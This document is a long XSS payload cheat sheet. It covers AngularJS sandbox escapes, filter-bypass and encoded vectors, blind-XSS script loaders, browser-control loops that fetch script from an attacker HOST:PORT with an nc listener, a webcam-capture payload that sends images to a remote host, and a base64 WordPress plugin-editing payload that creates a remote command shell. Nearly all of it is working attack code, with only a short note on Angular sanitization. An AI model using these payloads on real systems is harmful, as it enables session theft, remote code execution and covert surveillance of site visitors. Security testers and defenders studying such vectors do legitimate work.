{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
AngularJS 1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
AngularJS 1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
AngularJS 1.2.0 - 1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
AngularJS 1.0.1 - 1.1.5 and Vue JS
### Advanced bypassing XSS
AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
AngularJS (without `'` single and `"` double quotes and `constructor` string)
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
### Blind XSS
1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
$on.constructor("var _ = document.createElement('script');
1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
1.2.19 (FireFox) by Mathias Karlsson
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
document\\x2ebody\\x2eappendChild(_);`),a')
1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
## Automatic Sanitization
> To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.
However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:
- bypassSecurityTrustHtml
- bypassSecurityTrustScript
- bypassSecurityTrustStyle
- bypassSecurityTrustUrl
- bypassSecurityTrustResourceUrl
Example of a component using the unsecure method `bypassSecurityTrustUrl`:
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'my-app',
template: `
<h4>An untrusted URL:</h4>
<p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
<h4>A trusted URL:</h4>
<p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
`,
})
export class App {
constructor(private sanitizer: DomSanitizer) {
this.dangerousUrl = 'javascript:alert("Hi there")';
this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.
- [XSS without HTML - CSTI with Angular JS - Portswigger](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs)
- [Blind XSS AngularJS Payloads](https://ardern.io/2018/12/07/angularjs-bxss)
- [Angular Security](https://angular.io/guide/security)
- [Bypass DomSanitizer](https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b)
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<svg/onload=alert('XSS')>
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<body onload=alert(/XSS/.source)>
<video/poster/onerror=alert(1)>
<details/open/ontoggle="alert`1`">
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
<script>window['alert'](document['domain'])<script>
<img src='1' onerror/=alert(0) />
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>
<x oncut=alert(1)>cut this!
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="alert(1)" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTXjaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
xss"><!--><svg/onload=alert(document.domain)>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>%3Cimg/src=%3Dx+onload=alert(2)%3D
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000EB)%3C/script%3E
48e71%3balert(1)//503466e3
';confirm('XSS')//1491b2as
a29b1%3balert(888)//a62b7156d82
<scr	ipt>alert('XSS')</scr	ipt>
"onmouseover%3dprompt(941634)
%f6%22%20onmouseover%3dprompt(941634)%20
" onerror=alert()1 a="
style=xss:expression(alert(1))
<input type=text value=“XSS”>
A” autofocus onfocus=alert(“XSS”)//
<input type=text value=”A” autofocus onfocus=alert(“XSS”)//”>
<a href="javascript:alert(1)">ssss</a>
+ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4-
+ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-
+ADw-script+AD4-alert(+ACc-xss+ACc-)+ADw-+AC8-script+AD4-
<%00script>alert(‘XSS’)<%00/script>
<%script>alert(‘XSS’)<%/script>
<%tag style=”xss:expression(alert(‘XSS’))”>
<%tag onmouseover="(alert('XSS'))"> is invalid. <%br />
</b style="expr/**/ession(alert('vulnerable'))">
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
d="alert('XSS');\")";
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
<xss:xss>XSS</xss:xss>
echo('IPT>alert("XSS")</SCRIPT>'); ?>
XSS 101
<h1>Hello,<script>alert(1)</script>!</h1>
1. With <script> tag
2. With regular HTML tags
2.1 Event-based
<TAG EVENT=alert(1)>
<x onmouseover=alert(1)>
2.2 Resource-based
<TAG RESOURCE=javascript:alert(1)>
<script>alert(document.domain)</script>
2.1. Steal an user session on the vulnerable website (including admins)
2.2. Capture the keys pressed by the user
2.3. Deface the page, serving any type of content
2.4. Trick the user into giving his/her credentials by means of a fake HTML form
2.5. Crash the browser (local denial of service)
2.6. Force download of files
2.7. Redirect user's browser to another website where his/her machine can be
compromised by memory exploits
data伪协议的格式是：
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>
<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><a><script>alert(1)</a>
XSS Cheat Sheet
HTML Context Tag Injection
HTML Context Inline Injection
Javascript Context Code Injection
Javascript Context Code Injection (escaping the escape)
Javascript Context Tag Injection
PHP_SELF Injection
http://DOMAIN/PAGE.php/"><svg onload=alert(1)>
Without Parenthesis
<svg onload=alert`1`>
Filter Bypass Alert Obfuscation
Body Tag
Miscellaneous Vectors
Agnostic Event Handlers
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003
Code Reuse Inline Script
Code Reuse Regular Script
Filter Bypass Generic Tag + Handler
Encoding
<x onxxx=1
Mixed Case
Doubling
Spacers
Quotes
Stripping
<[S]x onx[S]xx=1
[S] = stripped char or string
Mimetism
Generic Source Breaking
Source-Breaking Injections
onafterscriptexecute
onbeforescriptexecute
if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");
Browser Control
<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Using XSS to Control a Browser
<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
Multi Reflection
Double Reflection
Single Input
Single Input (script-based)
Triple Reflection
Multi Input
Double Input
Triple Input
Multi Reflection XSS
<svg onload=write(1)>
p='onload=alert(1)><svg/1='
… [code] …
p='>alert(1)</script><script/1='
p=*/alert(1)</script><script>/*
p=*/alert(1)">'onload="/*<svg/1='
p=`-alert(1)">'onload="`<svg/1='
p=*/</script>'>alert(1)/*<script/1='
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)
INPUT
p=-alert(1)}//\
RESULT*
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};
p=\&q=-alert(1)//
var n = {a: "\", b: "-alert(1)}//"};
Without Event Handlers
<iframe srcdoc=<svg/onload=alert(1)>>
XSS Without Event Handlers
1) (no attribute)
2) src
<embed src=javascript:alert(1)> *
3) href
<math><brute href=javascript:alert(1)>click *
4) action
<isindex action=javascript:alert(1) type=submit value=click> *
5) formaction
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click> *
6) data
<object data=javascript:alert(1)> *
7) srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
8) xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) /> *
<math><brute xlink:href=javascript:alert(1)>click *
9) from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
Mobile Only
Event Handlers
Javascript
Properties
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
Functions
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
XSS in Mobile Devices
<body onorientationchange=alert(orientation)>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
open(c2.canvas.toDataURL())
Generic Self to Regular XSS
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
Leveraging Self-XSS
POST to GET
Copy & Paste
XSS + CSRF
<iframe src=//localhost/self/logout.php
onload=forms[0].submit()></iframe><form method=POST
action=//localhost/self/login.php?returnURL=changemail.php>
<input name=username value=brute>
<input name=password value=logic>
File Upload
Injection in Filename
Injection in Metadata
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
Injection with SVG File
Injection with GIF File as Source of Script (CSP Bypass)
File Upload XSS
1) Filename
2) Metadata
$ exiftool -FIELD=XSS FILE
$ exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
3) Content
4) Source
Google Chrome Auditor Bypass (up to v51)
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Chrome XSS Bypass
"><script src=data:%26comma;alert(1)-"
<input value="INPUT">
<input value=""><script src=data:%26comma;alert(1)-"">
<script src="URL"></script>
<script type="text/javascript"></script>
PHP File for XHR Remote Call
<?php header("Access-Control-Allow-Origin: *"); ?>
CORS Enabled XSS
<img src=1 onerror=alert(document.domain)>
#data:text/html,<img src=1 onerror=alert(document.domain)
Server Log Avoidance
<svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>
Avoiding XSS Detection
with(document)body.appendChild(createElement('script')).src='//DOMAIN'
<svg/onload=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'
#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
<svg/onload=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
<svg/onload=eval(atob(URL.slice(-148)))>
Shortest PoC
$ while:; do echo "alert(1)" | nc -lp80; done
Portable Wordpress RCE
<script/src="data:,eval(atob(location.hash.slice(1)))//#
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=
http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD
* In URLs:
& => %26 , # => %23 , + => %2B
<a href=javascript:alert(1)>
Javascript:alert(1)
(URL-encoded form)
Javas%26%2399;ript:alert(1)
http(s)://host/page?p=XSS
<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>
"><iframe src="/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)"
%0aalert(1);/"><script>///
<form action="http://brutelogic.com.br/chall/minified.php" method="POST" enctype="multipart/form-data">
<textarea name=p id=p>"
alert(1)-/><script>///</textarea>
<script>document.forms[0].submit(); </script>
*//"><script>/*alert(1)//
</input/"><svg><script>alert(1)//
Calling Remote Script With Event Handlers
1 – XHR
"var x=new XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"
2 – Fetch
fetch('//0').then(function(r){r.text().then(function(w){write(w)})})
3 – Create Element
with(top)body.appendChild (createElement('script')).src='//0'
4 – jQuery Get
$.get('//0',function(r){write(r)})>
5 – jQuery Get Script
$.getScript('//0')
The Easiest Way to Bypass XSS Mitigations
echo $_GET["p"];
echo str_replace(" ", "", $_GET["q"]);
echo str_ireplace("<script", "", $_GET["q"]);
echo str_ireplace("<script","InvalidTag", $_GET["r"]);
echo str_ireplace("<script","<InvalidTag", $_GET["s"]);
XSS Authority Abuse
http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>
http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>
Bypassing Javascript Overrides
<svg onload=document.write('XSS')>
<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>
The Shortest Reflected XSS Attack Possible
<script src="INPUT"></script
<script src="//INPUT"></script>
Transcending Context-Based Filters
1) among tags
2) inside a tag
3) in a script section
1) preg_replace("/\<script|=/i", "-", $_REQUEST['q']);
2) preg_replace("/on\w+\s*=|\>/i", "-", $_REQUEST['q']);
3) htmlspecialchars($_REQUEST['q'], ENT_QUOTES);
<math><brute href=javascript:alert(1)>
1) <math>
2) " href=javascript:alert(1)
1) <math><!–
<math><!–" href=javascript:alert(1)//
" href=javascript:alert(1) <math><!–
lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–
<svg><!–'-alert(1)-'
'-alert(1)-'<svg><!–
" accesskey=x onclick=alert(1) 1='
Location Based Payloads – Part IV
Document Properties Scheme
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
previousSibling.nodeValue, document.body.textContent*
location.search, tagName, nodeName, outerHTML
textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML
location.hash
Location Based Payloads – Part III
– Location
– Location Self
– Location Self Plus
before < [itself [inside]] > after # hash
Before: everything before the tag.
Itself: anything that uses the tag name.
Inside: any attribute inside the tag.
After: everything after the tag until hash.
Hash: everything after the # sign.
1) Location
1.1) Location Itself+After+Hash (tagName+innerHTML+location.hash)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)
1.2) Location Itself+Hash (tagName+URL)
<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
javascript:"-' + http://domain/page?p=<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
